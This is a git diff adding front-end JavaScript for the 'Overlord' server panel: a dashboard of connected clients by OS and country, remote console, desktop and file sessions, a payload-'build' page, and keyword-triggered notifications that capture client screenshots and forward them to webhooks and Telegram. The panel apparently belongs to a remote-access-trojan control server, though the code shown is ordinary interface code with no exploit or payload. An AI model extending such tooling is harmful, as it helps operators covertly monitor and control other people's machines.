setTimeout(() => element.classList.remove("counter-animate"), 500); + } + } + + requestAnimationFrame(update); +} + +function updateMetrics(data, debug) { + animateCounter( + document.getElementById("clients-online"), + data.clients.online, + ); + animateCounter(document.getElementById("clients-total"), data.clients.total); + + const totalSessions = + data.sessions.console + + data.sessions.remoteDesktop + + data.sessions.fileBrowser + + data.sessions.process; + animateCounter(document.getElementById("active-sessions"), totalSessions); + + animateCounter( + document.getElementById("commands-hour"), + data.commands.lastHour, + ); + animateCounter( + document.getElementById("commands-minute"), + data.commands.lastMinute, + ); + animateCounter( + document.getElementById("commands-total"), + data.commands.total, + ); + + const totalRate = + data.bandwidth.sentPerSecond + data.bandwidth.receivedPerSecond; + document.getElementById("bandwidth-rate").textContent = + formatBytes(totalRate) + "/s"; + document.getElementById("bandwidth-sent").textContent = formatBytes( + data.bandwidth.sent, + ); + document.getElementById("bandwidth-received").textContent = formatBytes( + data.bandwidth.received, + ); + + document.getElementById("server-uptime").textContent = formatDuration( + data.server.uptime, + ); + document.getElementById("server-memory").textContent = formatBytes( + data.server.memoryUsage.heapUsed, + ); + const serverRssEl = document.getElementById("server-rss"); + if (serverRssEl) { + serverRssEl.textContent = formatBytes(data.server.memoryUsage.rss); + } + const serverSystemMemEl = document.getElementById("server-system-memory"); + if (serverSystemMemEl && data.server.systemMemory) { + const used = data.server.systemMemory.used || 0; + const total = data.server.systemMemory.total || 0; + const percent = data.server.systemMemory.usedPercent || 0; + serverSystemMemEl.textContent = `${formatBytes(used)} / ${formatBytes(total)} (${Math.round(percent)}%)`; + } + const serverCpuEl = document.getElementById("server-cpu-load"); + if (serverCpuEl && data.server.cpu) { + const [l1, l5, l15] = data.server.cpu.loadAvg || [0, 0, 0]; + const cores = data.server.cpu.cores || 0; + serverCpuEl.textContent = `${Number(l1).toFixed(2)} / ${Number(l5).toFixed(2)} / ${Number(l15).toFixed(2)}${cores ? ` (${cores} cores)` : ""}`; + } + animateCounter( + document.getElementById("total-connections"), + data.connections.totalConnections, + ); + + const httpRequestsEl = document.getElementById("http-requests-minute"); + if (httpRequestsEl) { + animateCounter(httpRequestsEl, data.http.lastMinute || 0); + } + const httpErrorsEl = document.getElementById("http-errors-minute"); + if (httpErrorsEl) { + animateCounter(httpErrorsEl, data.http.lastMinuteErrors || 0); + } + const httpLatencyAvgEl = document.getElementById("http-latency-avg"); + if (httpLatencyAvgEl) { + httpLatencyAvgEl.textContent = formatMs(data.http.latencyAvg || 0); + } + const httpLatencyP95El = document.getElementById("http-latency-p95"); + if (httpLatencyP95El) { + httpLatencyP95El.textContent = formatMs(data.http.latencyP95 || 0); + } + const eventLoopAvgEl = document.getElementById("event-loop-avg"); + if (eventLoopAvgEl) { + eventLoopAvgEl.textContent = formatMs(data.eventLoop.avg || 0); + } + const eventLoopP95El = document.getElementById("event-loop-p95"); + if (eventLoopP95El) { + eventLoopP95El.textContent = formatMs(data.eventLoop.p95 || 0); + } + const eventLoopMaxEl = document.getElementById("event-loop-max"); + if (eventLoopMaxEl) { + eventLoopMaxEl.textContent = formatMs(data.eventLoop.max || 0); + } + + if (data.ping.count > 0) { + document.getElementById("ping-avg").textContent = + Math.round(data.ping.avg) + " ms"; + document.getElementById("ping-min").textContent = + Math.round(data.ping.min) + " ms"; + document.getElementById("ping-max").textContent = + Math.round(data.ping.max) + " ms"; + animateCounter(document.getElementById("ping-count"), data.ping.count); + } else { + document.getElementById("ping-avg").textContent = "-"; + document.getElementById("ping-min").textContent = "-"; + document.getElementById("ping-max").textContent = "-"; + document.getElementById("ping-count").textContent = "0"; + } + + const osList = document.getElementById("clients-by-os"); + if (Object.keys(data.clients.byOS).length > 0) { + osList.innerHTML = Object.entries(data.clients.byOS) + .sort((a, b) => b[1] - a[1]) + .map( + ([os, count]) => ` +
+ ${escapeHtml(os)} + ${count} +
+ `, + ) + .join(""); + } else { + osList.innerHTML = '
No clients
'; + } + + const commandTypesList = document.getElementById("command-types"); + if (Object.keys(data.commands.byType).length > 0) { + const topCommands = Object.entries(data.commands.byType) + .sort((a, b) => b[1] - a[1]) + .slice(0, 10); + + commandTypesList.innerHTML = topCommands + .map( + ([type, count]) => ` +
+
${escapeHtml(type)}
+
${count.toLocaleString()}
+
+ `, + ) + .join(""); + } else { + commandTypesList.innerHTML = + '
No commands executed yet
'; + } + + document.getElementById("last-update").textContent = + new Date().toLocaleTimeString(); + + updateCountryMap(data.clients.byCountry); +} + +function normalizeCountry(code) { + return (code || "").toString().trim().toUpperCase(); +} + +function getFeatureCode(feature) { + const props = feature?.properties || {}; + return normalizeCountry( + props["ISO3166-1-Alpha-2"] || + props.ISO_A2 || + props.iso_a2 || + props.ISO_A2_EH || + props.iso2 || + props.ISO2 || + props.country_code || + props.countryCode || + props.A2 || + props.abbrev || + props.abbreviation || + feature?.id || + "", + ); +} + +function getFeatureName(feature) { + const props = feature?.properties || {}; + return ( + props.NAME || + props.name || + props.ADMIN || + props.admin || + props.Country || + "Unknown" + ); +} + +function countryFillOpacity(count) { + if (maxCountryCount <= 0) return 0.1; + const intensity = Math.min(count / maxCountryCount, 1); + return 0.1 + intensity * 0.75; +} + +function styleCountry(feature) { + const code = getFeatureCode(feature); + const count = code ? countryCounts[code] || 0 : 0; + return { + weight: 0.7, + color: "#1e293b", + fillColor: "#3b82f6", + fillOpacity: countryFillOpacity(count), + }; +} + +function updateCountryMap(byCountry) { + latestByCountry = byCountry || {}; + countryCounts = {}; + for (const [code, count] of Object.entries(latestByCountry || {})) { + const cc = normalizeCountry(code); + if (!cc || cc === "ZZ") continue; + countryCounts[cc] = Number(count) || 0; + } + maxCountryCount = Math.max(0, ...Object.values(countryCounts)); + + if (!countriesLayer) return; + + countriesLayer.setStyle(styleCountry); + countriesLayer.eachLayer((layer) => { + const feature = layer.feature; + const code = getFeatureCode(feature) || "--"; + const name = getFeatureName(feature); + const count = code ? countryCounts[code] || 0 : 0; + layer.bindTooltip(`${escapeHtml(name)} (${code}): ${count}`, { + sticky: true, + direction: "auto", + }); + }); +} + +async function initCountryMap() { + const mapEl = document.getElementById("country-map"); + if (!mapEl || typeof L === "undefined") return; + + countryMap = L.map(mapEl, { + zoomControl: false, + attributionControl: false, + minZoom: 1, + maxZoom: 5, + worldCopyJump: true, + }).setView([20, 0], 2); + + L.tileLayer( + "https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png", + { + maxZoom: 5, + minZoom: 1, + }, + ).addTo(countryMap); + + try { + const res = await fetch(GEOJSON_URL); + if (!res.ok) throw new Error("GeoJSON fetch failed"); + const geojson = await res.json(); + + countriesLayer = L.geoJSON(geojson, { + style: styleCountry, + }).addTo(countryMap); + + updateCountryMap(latestByCountry); + + if (countriesLayer.getBounds) { + countryMap.fitBounds(countriesLayer.getBounds(), { + padding: [10, 10], + }); + } + } catch (err) { + console.error("Failed to load country map:", err); + mapEl.innerHTML = + '
Failed to load map data.
'; + } +} + +function updateCharts(history, snapshot) { + if (history.length === 0) { + const now = new Date(); + const label = formatTime(now.getTime()); + + clientsChart.data.labels = [label]; + clientsChart.data.datasets[0].data = [snapshot.clients.online]; + clientsChart.update("none"); + + commandsChart.data.labels = [label]; + commandsChart.data.datasets[0].data = [snapshot.commands.lastMinute]; + commandsChart.update("none"); + return; + } + + const labels = history.map((h) => formatTime(h.timestamp)); + const clientsData = history.map((h) => h.clientsOnline); + + clientsChart.data.labels = labels; + clientsChart.data.datasets[0].data = clientsData; + clientsChart.update("none"); + + const commandsData = history.map((h) => h.commandsPerMinute); + + commandsChart.data.labels = labels; + commandsChart.data.datasets[0].data = commandsData; + commandsChart.update("none"); +} + +async function fetchMetrics() { + try { + const response = await fetch("/api/metrics", { + credentials: "include", + }); + + if (response.status === 401) { + window.location.href = "/login.html"; + return; + } + + if (!response.ok) { + throw new Error("Failed to fetch metrics"); + } + + const data = await response.json(); + updateMetrics(data.snapshot, data.debug); + updateCharts(data.history, data.snapshot); + + document.getElementById("status-text").textContent = "Live"; + } catch (err) { + console.error("Error fetching metrics:", err); + document.getElementById("status-text").textContent = "Error"; + } +} + +async function checkAuth() { + try { + const res = await fetch("/api/auth/me", { credentials: "include" }); + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + document.getElementById("username-display").textContent = data.username; + + const roleBadge = document.getElementById("role-badge"); + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (data.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (data.role === "admin") { + document.getElementById("users-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + document.getElementById("plugins-link")?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + } else if (data.role === "operator") { + document.getElementById("build-link")?.classList.remove("hidden"); + } + + if (data.role !== "viewer") { + document.getElementById("scripts-link")?.classList.remove("hidden"); + } + } catch (err) { + console.error("Auth check failed:", err); + window.location.href = "/login.html"; + } +} + +document.addEventListener("DOMContentLoaded", async () => { + await checkAuth(); + + initCharts(); + + await initCountryMap(); + + await fetchMetrics(); + + setInterval(fetchMetrics, 2000); + + const logoutBtn = document.getElementById("logout-btn"); + if (logoutBtn && !logoutBtn.dataset.boundLogout) { + logoutBtn.dataset.boundLogout = "true"; + logoutBtn.addEventListener("click", async () => { + if (!confirm("Are you sure you want to logout?")) return; + + try { + const res = await fetch("/api/logout", { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + + if (res.ok) { + window.location.href = "/"; + } else { + alert("Logout failed. Please try again."); + } + } catch (err) { + console.error("Logout error:", err); + alert("Logout failed. Please try again."); + } + }); + } +}); diff --git a/Overlord-Server/public/assets/msgpack-helpers.js b/Overlord-Server/public/assets/msgpack-helpers.js new file mode 100644 index 0000000..213a7a0 --- /dev/null +++ b/Overlord-Server/public/assets/msgpack-helpers.js @@ -0,0 +1,45 @@ +function getMsgpack() { + const globalObj = typeof globalThis !== "undefined" ? globalThis : window; + const mp = + globalObj.msgpackr || + globalObj.msgpack || + globalObj.msgpacklite || + globalObj.MessagePack || + globalObj.msgpack5 || + globalObj.MsgPack; + if (!mp) { + return null; + } + return mp; +} + +export function encodeMsgpack(payload) { + const mp = getMsgpack(); + const encoder = mp?.pack || mp?.encode; + if (!encoder) { + throw new Error("msgpack encoder not available. Ensure msgpackr bundle is loaded before module scripts."); + } + return encoder(payload); +} + +export function decodeMsgpack(data) { + const mp = getMsgpack(); + const decoder = mp?.unpack || mp?.decode; + if (!decoder) { + throw new Error("msgpack decoder not available. Ensure msgpackr bundle is loaded before module scripts."); + } + if (data instanceof Uint8Array) { + return decoder(data); + } + if (data instanceof ArrayBuffer) { + return decoder(new Uint8Array(data)); + } + if (typeof data === "string") { + try { + return JSON.parse(data); + } catch { + return null; + } + } + return null; +} diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js new file mode 100644 index 0000000..e65fcb8 --- /dev/null +++ b/Overlord-Server/public/assets/nav.js @@ -0,0 +1,108 @@ +import { + startNotificationClient, + setNotificationsEnabled, + getNotificationsEnabled, + subscribeStatus, + subscribeUnread, +} from "./notify-client.js"; +import { mountNav } from "./nav/template.js"; +import { createAdaptiveNavController } from "./nav/layout.js"; +import { applyUserRoleUI } from "./nav/role-ui.js"; + +const host = document.getElementById("top-nav"); +if (host) { + const refs = mountNav(host); + const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs); + + const path = window.location.pathname; + const activeMap = { + "/": "nav-clients", + "/metrics": "metrics-link", + "/logs": "logs-link", + "/scripts": "scripts-link", + "/plugins": "plugins-link", + "/build": "build-link", + "/users": "users-link", + "/notifications": "notifications-link", + }; + const activeId = activeMap[path]; + if (activeId) { + const el = document.getElementById(activeId); + if (el) { + el.classList.remove("bg-slate-900/70", "text-slate-300"); + el.classList.add("bg-slate-800", "text-slate-50"); + el.classList.add("nav-active"); + } + } + if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) { + refs.logoutBtn.dataset.boundLogout = "true"; + refs.logoutBtn.addEventListener("click", async () => { + if (!confirm("Are you sure you want to logout?")) return; + + try { + const res = await fetch("/api/logout", { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + + + if (res.ok) { + window.location.href = "/"; + } else { + alert("Logout failed. Please try again."); + } + } catch (err) { + console.error("Logout error:", err); + alert("Logout failed. Please try again."); + } + }); + } + + const updateToggle = () => { + const enabled = getNotificationsEnabled(); + if (refs.notifyToggle) { + refs.notifyToggle.classList.toggle("text-emerald-200", enabled); + refs.notifyToggle.classList.toggle("border-emerald-500/40", enabled); + refs.notifyToggle.classList.toggle("text-slate-300", !enabled); + } + }; + + refs.notifyToggle?.addEventListener("click", () => { + const next = !getNotificationsEnabled(); + setNotificationsEnabled(next); + updateToggle(); + }); + + subscribeUnread((count) => { + if (!refs.notifyBadge) return; + refs.notifyBadge.textContent = String(count); + refs.notifyBadge.classList.toggle("hidden", count <= 0); + }); + + updateToggle(); + startNotificationClient(); + subscribeStatus((status) => { + if (status === "connected") { + // no-op + } + }); + + async function loadCurrentUser() { + try { + const res = await fetch("/api/auth/me", { credentials: "include" }); + if (!res.ok) { + return; + } + const user = await res.json(); + applyUserRoleUI(user, refs); + + applyAdaptiveNavLayout(); + } catch (err) { + console.error("Failed to load user:", err); + } + } + + if (refs.usernameDisplay && refs.roleBadge) { + loadCurrentUser(); + } +} diff --git a/Overlord-Server/public/assets/nav/layout.js b/Overlord-Server/public/assets/nav/layout.js new file mode 100644 index 0000000..72721f0 --- /dev/null +++ b/Overlord-Server/public/assets/nav/layout.js @@ -0,0 +1,114 @@ +const MOBILE_BREAKPOINT = 768; + +export function createAdaptiveNavController(host, refs) { + const { toggle, panel, navLinks, navUtility } = refs; + if (!toggle || !panel || !navLinks || !navUtility) { + return { applyAdaptiveNavLayout: () => {} }; + } + + const navOverflows = () => + panel.scrollWidth > panel.clientWidth + 1 || host.scrollWidth > host.clientWidth + 1; + + function resetInlineStyles() { + panel.style.display = ""; + panel.style.flexDirection = ""; + panel.style.alignItems = ""; + panel.style.gap = ""; + navLinks.style.flexDirection = ""; + navLinks.style.flexWrap = ""; + navLinks.style.alignItems = ""; + navLinks.style.justifyContent = ""; + navUtility.style.display = ""; + navUtility.style.width = ""; + navUtility.style.justifyContent = ""; + navUtility.style.flexWrap = ""; + } + + function applyAdaptiveNavLayout() { + if (window.innerWidth < MOBILE_BREAKPOINT) { + host.dataset.navMode = "mobile"; + panel.classList.add("hidden"); + resetInlineStyles(); + panel.dataset.open = "false"; + toggle.style.display = ""; + toggle.setAttribute("aria-expanded", "false"); + return; + } + + host.dataset.navMode = "desktop"; + panel.classList.remove("hidden"); + panel.style.display = "flex"; + panel.dataset.open = "true"; + navUtility.style.display = "flex"; + toggle.style.display = "none"; + toggle.setAttribute("aria-expanded", "false"); + + if (navOverflows()) { + host.dataset.navMode = "desktop-compact"; + navUtility.style.display = "none"; + if (navOverflows()) { + host.dataset.navMode = "compact"; + panel.style.display = "none"; + panel.dataset.open = "false"; + toggle.style.display = "inline-flex"; + } + } + } + + function openCompactPanel() { + panel.dataset.open = "true"; + panel.classList.remove("hidden"); + panel.style.display = "flex"; + panel.style.flexDirection = "column"; + panel.style.alignItems = "stretch"; + panel.style.gap = "10px"; + + navLinks.style.flexDirection = "row"; + navLinks.style.flexWrap = "wrap"; + navLinks.style.alignItems = "center"; + navLinks.style.justifyContent = "flex-start"; + + navUtility.style.display = "flex"; + navUtility.style.width = "100%"; + navUtility.style.justifyContent = "space-between"; + navUtility.style.flexWrap = "wrap"; + + toggle.setAttribute("aria-expanded", "true"); + } + + function closeCompactPanel() { + panel.dataset.open = "false"; + panel.style.display = "none"; + if (host.dataset.navMode === "mobile") { + panel.classList.add("hidden"); + } + toggle.setAttribute("aria-expanded", "false"); + } + + toggle.addEventListener("click", () => { + const compact = + host.dataset.navMode === "compact" || host.dataset.navMode === "mobile"; + if (!compact) return; + + const isOpen = panel.dataset.open === "true"; + if (isOpen) { + closeCompactPanel(); + return; + } + openCompactPanel(); + }); + + let resizeRaf = null; + window.addEventListener("resize", () => { + if (resizeRaf) { + cancelAnimationFrame(resizeRaf); + } + resizeRaf = requestAnimationFrame(() => { + applyAdaptiveNavLayout(); + }); + }); + + applyAdaptiveNavLayout(); + + return { applyAdaptiveNavLayout }; +} diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js new file mode 100644 index 0000000..1195146 --- /dev/null +++ b/Overlord-Server/public/assets/nav/role-ui.js @@ -0,0 +1,75 @@ +export function applyUserRoleUI(user, refs) { + const { + usernameDisplay, + roleBadge, + usersLink, + buildLink, + pluginsLink, + scriptsLink, + logsLink, + } = refs; + + if (!user || !usernameDisplay || !roleBadge) return; + + usernameDisplay.textContent = user.username || "unknown"; + + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + + if (roleBadges[user.role]) { + roleBadge.innerHTML = roleBadges[user.role]; + } else { + roleBadge.textContent = user.role || "user"; + } + + roleBadge.classList.remove( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + "bg-blue-900/50", + "text-blue-300", + "border-blue-800", + "bg-slate-700", + "text-slate-300", + "border-slate-600", + ); + + if (user.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (user.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (user.role === "admin") { + usersLink?.classList.remove("hidden"); + pluginsLink?.classList.remove("hidden"); + logsLink?.classList.remove("hidden"); + } + if (user.role === "admin" || user.role === "operator") { + buildLink?.classList.remove("hidden"); + } + if (user.role !== "viewer") { + scriptsLink?.classList.remove("hidden"); + } +} diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js new file mode 100644 index 0000000..fd8fd35 --- /dev/null +++ b/Overlord-Server/public/assets/nav/template.js @@ -0,0 +1,127 @@ +export function mountNav(host) { + host.className = + "sticky top-0 z-10 w-full px-5 py-3 bg-slate-950/80 backdrop-blur border-b border-slate-800"; + + host.innerHTML = ` +
+
+ + Overlord + + +
+ +
+ `; + + return { + toggle: document.getElementById("nav-toggle"), + panel: document.getElementById("nav-panel"), + navLinks: document.getElementById("nav-links"), + navUtility: document.getElementById("nav-utility"), + logoutBtn: document.getElementById("logout-btn"), + notifyToggle: document.getElementById("notify-toggle"), + notifyBadge: document.getElementById("notify-badge"), + usernameDisplay: document.getElementById("username-display"), + roleBadge: document.getElementById("role-badge"), + usersLink: document.getElementById("users-link"), + buildLink: document.getElementById("build-link"), + pluginsLink: document.getElementById("plugins-link"), + scriptsLink: document.getElementById("scripts-link"), + logsLink: document.getElementById("logs-link"), + }; +} diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js new file mode 100644 index 0000000..4d70649 --- /dev/null +++ b/Overlord-Server/public/assets/notifications.js @@ -0,0 +1,344 @@ +import { + startNotificationClient, + subscribeNotifications, + subscribeReady, + subscribeStatus, + markAllNotificationsRead, +} from "./notify-client.js"; + +const wsStatus = document.getElementById("ws-status"); +const listEl = document.getElementById("notification-list"); +const emptyState = document.getElementById("empty-state"); +const keywordInput = document.getElementById("keyword-input"); +const saveKeywordsBtn = document.getElementById("save-keywords"); +const keywordHint = document.getElementById("keyword-hint"); +const webhookEnabledInput = document.getElementById("webhook-enabled"); +const webhookUrlInput = document.getElementById("webhook-url"); +const saveWebhookBtn = document.getElementById("save-webhook"); +const telegramEnabledInput = document.getElementById("telegram-enabled"); +const telegramBotTokenInput = document.getElementById("telegram-bot-token"); +const telegramChatIdInput = document.getElementById("telegram-chat-id"); +const saveTelegramBtn = document.getElementById("save-telegram"); +const panel = document.getElementById("notification-panel"); +const previewModal = document.getElementById("notification-preview-modal"); +const previewModalImg = document.getElementById("notification-preview-image"); +const previewModalClose = document.getElementById("notification-preview-close"); + +const MAX_ROWS = 200; + +function setStatus(text, tone = "neutral") { + if (!wsStatus) return; + const icon = wsStatus.querySelector("i"); + const label = wsStatus.querySelector("span"); + if (label) label.textContent = text; + if (icon) { + icon.className = "fa-solid fa-circle-dot"; + icon.classList.remove("text-green-400", "text-red-400", "text-yellow-400", "text-slate-400"); + if (tone === "ok") icon.classList.add("text-green-400"); + else if (tone === "error") icon.classList.add("text-red-400"); + else if (tone === "warn") icon.classList.add("text-yellow-400"); + else icon.classList.add("text-slate-400"); + } +} + +function formatTime(ts) { + if (ts == null) return "-"; + let normalized = ts; + if (typeof normalized === "bigint") { + normalized = Number(normalized); + } else if (typeof normalized === "string") { + normalized = Number(normalized); + } + if (!Number.isFinite(normalized)) return "-"; + const date = new Date(normalized); + if (Number.isNaN(date.getTime())) return "-"; + return date.toLocaleString(); +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text == null ? "" : String(text); + return div.innerHTML; +} + +function renderRow(item, prepend = true) { + if (!listEl) return; + const row = document.createElement("tr"); + row.className = "border-t border-slate-800/60"; + row.innerHTML = ` + ${formatTime(item.ts)} + ${escapeHtml(item.clientId || "-")} + ${escapeHtml(item.user || "-")} + ${escapeHtml(item.title || "-")} + ${escapeHtml(item.process || "-")} + ${escapeHtml(item.keyword || "-")} +
+ `; + + const preview = row.querySelector(".preview-slot"); + if (preview) { + const notificationId = item?.id || ""; + if (!notificationId) { + preview.textContent = "-"; + preview.className = "text-slate-500"; + } else { + preview.textContent = "Loading..."; + preview.className = "text-slate-500"; + const img = document.createElement("img"); + img.className = "max-h-32 w-auto rounded border border-slate-800/80 cursor-zoom-in"; + img.loading = "lazy"; + img.alt = "Notification screenshot"; + + let attempts = 0; + const maxAttempts = 5; + const fetchPreview = async () => { + attempts += 1; + try { + const url = `/api/notifications/${encodeURIComponent(notificationId)}/screenshot?ts=${Date.now()}`; + const res = await fetch(url, { cache: "no-store" }); + if (!res.ok) { + if (res.status === 404 && attempts < maxAttempts) { + setTimeout(fetchPreview, 1000 * attempts); + return; + } + preview.textContent = "-"; + preview.className = "text-slate-500"; + return; + } + const blob = await res.blob(); + const objectUrl = URL.createObjectURL(blob); + img.classList.add("opacity-0"); + preview.innerHTML = ""; + preview.className = ""; + preview.appendChild(img); + img.addEventListener("load", () => { + img.classList.remove("opacity-0"); + }); + img.addEventListener("error", () => { + preview.textContent = "-"; + preview.className = "text-slate-500"; + URL.revokeObjectURL(objectUrl); + }); + img.src = objectUrl; + img.dataset.previewUrl = objectUrl; + if (img.decode) { + img.decode().catch(() => {}); + } + + img.addEventListener("click", () => { + if (!previewModal || !previewModalImg) return; + previewModalImg.src = img.dataset.previewUrl || objectUrl; + previewModal.classList.remove("hidden"); + previewModal.classList.add("flex"); + }); + } catch (err) { + if (attempts < maxAttempts) { + setTimeout(fetchPreview, 1000 * attempts); + return; + } + preview.textContent = "-"; + preview.className = "text-slate-500"; + } + }; + fetchPreview(); + } + } + + if (prepend) { + listEl.prepend(row); + } else { + listEl.appendChild(row); + } + + const rows = listEl.querySelectorAll("tr"); + if (rows.length > MAX_ROWS) { + rows[rows.length - 1].remove(); + } + + if (emptyState) { + emptyState.classList.toggle("hidden", listEl.children.length > 0); + } +} + +function handleNotification(item) { + console.log("[notifications] item", item); + renderRow(item, true); +} + + +function parseKeywords(text) { + return text + .split(/\r?\n/) + .map((k) => k.trim()) + .filter(Boolean); +} + +function renderKeywordHint(count) { + if (!keywordHint) return; + keywordHint.textContent = `${count} keyword${count === 1 ? "" : "s"}`; +} + +async function loadKeywords() { + if (!keywordInput) return; + try { + const res = await fetch("/api/notifications/config"); + if (!res.ok) return; + const data = await res.json(); + const notifications = data?.notifications || {}; + const keywords = notifications.keywords || []; + keywordInput.value = keywords.join("\n"); + renderKeywordHint(keywords.length); + if (webhookEnabledInput) { + webhookEnabledInput.checked = !!notifications.webhookEnabled; + } + if (webhookUrlInput) { + webhookUrlInput.value = notifications.webhookUrl || ""; + } + if (telegramEnabledInput) { + telegramEnabledInput.checked = !!notifications.telegramEnabled; + } + if (telegramBotTokenInput) { + telegramBotTokenInput.value = notifications.telegramBotToken || ""; + } + if (telegramChatIdInput) { + telegramChatIdInput.value = notifications.telegramChatId || ""; + } + } catch {} +} + +function wireKeywordSave() { + if (!saveKeywordsBtn || !keywordInput) return; + saveKeywordsBtn.addEventListener("click", async () => { + const keywords = parseKeywords(keywordInput.value); + try { + const res = await fetch("/api/notifications/config", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ keywords }), + }); + if (!res.ok) { + window.showToast?.("Failed to save keywords", "error", 4000); + return; + } + const data = await res.json(); + const updated = data?.notifications?.keywords || keywords; + keywordInput.value = updated.join("\n"); + renderKeywordHint(updated.length); + window.showToast?.("Keywords updated", "success", 3000); + } catch { + window.showToast?.("Failed to save keywords", "error", 4000); + } + }); + + keywordInput.addEventListener("input", () => { + const keywords = parseKeywords(keywordInput.value); + renderKeywordHint(keywords.length); + }); +} + +function wireWebhookSave() { + if (!saveWebhookBtn || !webhookUrlInput || !webhookEnabledInput) return; + saveWebhookBtn.addEventListener("click", async () => { + const webhookUrl = webhookUrlInput.value.trim(); + const webhookEnabled = !!webhookEnabledInput.checked; + try { + const res = await fetch("/api/notifications/config", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ webhookUrl, webhookEnabled }), + }); + if (!res.ok) { + window.showToast?.("Failed to save webhook", "error", 4000); + return; + } + const data = await res.json(); + const notifications = data?.notifications || {}; + webhookEnabledInput.checked = !!notifications.webhookEnabled; + webhookUrlInput.value = notifications.webhookUrl || ""; + window.showToast?.("Webhook updated", "success", 3000); + } catch { + window.showToast?.("Failed to save webhook", "error", 4000); + } + }); +} + +function wireTelegramSave() { + if (!saveTelegramBtn || !telegramBotTokenInput || !telegramChatIdInput || !telegramEnabledInput) return; + saveTelegramBtn.addEventListener("click", async () => { + const telegramBotToken = telegramBotTokenInput.value.trim(); + const telegramChatId = telegramChatIdInput.value.trim(); + const telegramEnabled = !!telegramEnabledInput.checked; + try { + const res = await fetch("/api/notifications/config", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ telegramBotToken, telegramChatId, telegramEnabled }), + }); + if (!res.ok) { + window.showToast?.("Failed to save Telegram settings", "error", 4000); + return; + } + const data = await res.json(); + const notifications = data?.notifications || {}; + telegramEnabledInput.checked = !!notifications.telegramEnabled; + telegramBotTokenInput.value = notifications.telegramBotToken || ""; + telegramChatIdInput.value = notifications.telegramChatId || ""; + window.showToast?.("Telegram settings updated", "success", 3000); + } catch { + window.showToast?.("Failed to save Telegram settings", "error", 4000); + } + }); +} + + +function connect() { + startNotificationClient(); + if (panel) { + markAllNotificationsRead(); + } + subscribeStatus((status) => { + if (status === "connected") setStatus("Connected", "ok"); + if (status === "error") setStatus("Error", "error"); + if (status === "disconnected") setStatus("Disconnected", "warn"); + }); + subscribeReady((history) => { + if (listEl) listEl.innerHTML = ""; + history.reverse().forEach((item) => renderRow(item, false)); + if (emptyState) { + emptyState.classList.toggle("hidden", history.length > 0); + } + markAllNotificationsRead(); + }); + subscribeNotifications(handleNotification); +} + +wireKeywordSave(); +wireWebhookSave(); +wireTelegramSave(); +loadKeywords(); +connect(); + +function wireActiveClear() { + const clearIfActive = () => { + if (document.visibilityState === "visible") { + markAllNotificationsRead(); + } + }; + document.addEventListener("visibilitychange", clearIfActive); + window.addEventListener("focus", clearIfActive); + clearIfActive(); +} + +wireActiveClear(); + +if (previewModal && previewModalClose && previewModalImg) { + const closePreview = () => { + previewModal.classList.add("hidden"); + previewModal.classList.remove("flex"); + previewModalImg.src = ""; + }; + previewModalClose.addEventListener("click", closePreview); + previewModal.addEventListener("click", (event) => { + if (event.target === previewModal) closePreview(); + }); +} diff --git a/Overlord-Server/public/assets/notify-client.js b/Overlord-Server/public/assets/notify-client.js new file mode 100644 index 0000000..c551e82 --- /dev/null +++ b/Overlord-Server/public/assets/notify-client.js @@ -0,0 +1,203 @@ +import { decodeMsgpack } from "./msgpack-helpers.js"; + +const STORAGE_KEY = "overlord_notifications_enabled"; +const UNREAD_KEY = "overlord_notifications_unread"; +let enabled = localStorage.getItem(STORAGE_KEY); +if (enabled === null) { + enabled = "1"; + localStorage.setItem(STORAGE_KEY, enabled); +} +if (localStorage.getItem(UNREAD_KEY) === null) { + localStorage.setItem(UNREAD_KEY, "0"); +} +let ws = null; +let started = false; +let readyHandlers = new Set(); +let notificationHandlers = new Set(); +let statusHandlers = new Set(); +let unreadHandlers = new Set(); +let lastHistory = []; + +function emitStatus(status) { + for (const handler of statusHandlers) { + try { + handler(status); + } catch {} + } +} + +function emitReady(history) { + lastHistory = Array.isArray(history) ? history : []; + for (const handler of readyHandlers) { + try { + handler(lastHistory); + } catch {} + } +} + +function emitNotification(item) { + for (const handler of notificationHandlers) { + try { + handler(item); + } catch {} + } +} + +function shouldNotify() { + return localStorage.getItem(STORAGE_KEY) === "1"; +} + +function getUnreadCount() { + return Number(localStorage.getItem(UNREAD_KEY) || "0"); +} + +function setUnreadCount(value) { + const next = Math.max(0, Number(value) || 0); + localStorage.setItem(UNREAD_KEY, String(next)); + for (const handler of unreadHandlers) { + try { + handler(next); 